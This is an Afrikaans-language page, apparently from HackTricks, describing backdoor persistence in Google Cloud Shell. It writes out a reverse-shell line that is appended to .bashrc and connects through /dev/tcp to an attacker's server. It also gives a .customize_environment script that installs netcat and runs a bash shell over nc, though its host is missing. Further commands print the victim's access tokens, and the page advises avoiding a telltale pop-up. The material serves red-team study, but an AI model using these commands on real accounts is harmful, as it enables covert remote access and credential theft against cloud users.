GCP - Cloud Shell Persistence

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell voorsien jou van command-line toegang tot jou cloud resources direk vanaf jou blaaier sonder enige koste.

Jy kan toegang kry tot Google’s Cloud Shell vanaf die web console of deur gcloud cloud-shell ssh te hardloop.

Hierdie konsole het ’n paar interessante vermoëns vir aanvallers:

  1. Enige Google gebruiker met toegang tot Google Cloud het toegang tot ’n volledig geauthentiseerde Cloud Shell instance (Service Accounts kan ook, selfs wanneer hulle Owners van die org is).
  2. Daardie instance sal sy home directory vir minstens 120 dae behou as geen aktiwiteit plaasvind nie.
  3. Daar is geen moontlikhede vir ’n organisasie om die aktiwiteit van daardie instance te monitor nie.

Dit beteken basies dat ’n aanvaller ’n backdoor in die gebruiker se home directory kan plaas, en solank die gebruiker minstens elke 120 dae aan die GC Shell koppel, sal die backdoor oorleef en die aanvaller elke keer ’n shell kry as dit uitgevoer word net deur die volgende te doen:

Voeg reverse shell by .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Daar is nog ’n lêer in die tuismap genaamd .customize_environment wat, as dit bestaan, elke keer uitgevoer gaan word wanneer die gebruiker toegang tot die cloud shell kry (soos in die vorige tegniek). Voeg net die vorige backdoor in of een soos die volgende om persistence te behou solank die gebruiker die cloud shell “gereeld” gebruik:

Skep .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Dit is belangrik om te let dat die eerste keer ’n aksie wat verifikasie vereis, uitgevoer word, ’n pop-up machtigingsvenster in die gebruiker se blaaier verskyn. Hierdie venster moet aanvaar word voordat die opdrag kan loop. As ’n onverwagte pop-up verskyn, kan dit agterdog wek en moontlik die gebruikte persistence-metode kompromitteer.

Dit is die pop-up wat verskyn wanneer gcloud projects list vanaf die Cloud Shell (as attacker) uitgevoer word, gesien in die gebruiker se blaaieressie:

As die gebruiker reeds aktief die Cloud Shell gebruik het, sal die pop-up nie verskyn nie en jy kan tokens van die gebruiker versamel met:

Kry toegangstokens vanaf Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Hoe die SSH-verbinding gevestig word

In die algemeen word hierdie 3 API-oproepe gebruik:

Maar jy kan verdere inligting vind by https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks